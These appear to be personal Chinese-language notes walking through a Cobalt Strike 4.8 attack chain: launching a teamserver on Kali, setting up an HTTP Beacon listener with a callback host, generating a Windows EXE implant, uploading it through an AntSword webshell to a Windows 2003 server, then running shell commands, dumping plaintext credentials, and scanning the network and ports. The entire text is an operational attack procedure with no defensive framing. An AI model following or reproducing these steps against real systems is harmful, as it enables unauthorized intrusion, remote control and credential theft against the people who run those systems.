copy CS4.8到kali
cd /路径/CS4.8 & ls
cd Server
chmod +x teamserver
chmod +x TeamServerImage
./teamserver ip password profile
实际如下
./teamserver ip password
windows /路径/CS4.8/Client
运行 Cobalt_Strike_CN.bat
Cobalt Strike界面
左下角event输入命令
Cobalt Strike > 监听器(L) 显示Listeners > Add Name:xxxx
Payload Beacon HTTP
Payload Options 点+ Add a calback host (默认服务器地址)
profile HTTP Port（C2）: 1234
Save
生成监听种子
有效载荷（P）> Windows可执行程序（E）
Listener ... > xiaolin
Output Windows EXE
Generate
选路径 > 文件名重命名 > 保存
开启2003Service 上传监听种子
中国蚁剑 路径加密码
cd /上传路径
运行 上传exe
右键目标 设置回连间隔 1
右键目标 回话交互 左下角beacon> 输入命令
sleep 1
shell whoami
shell ipconfig
shell dir
右键目标 凭证提取（A）> 抓取明文密码等等
右键目标 浏览探测 > 网络探测
右键目标 浏览探测 > 端口扫描
视图（V）> 目标列表
插件安装
Cobalt Strike > 脚本管理器（S）
CS插件 > Ladon9.1.7_20220618 > scripts > Ladon-cn.cna
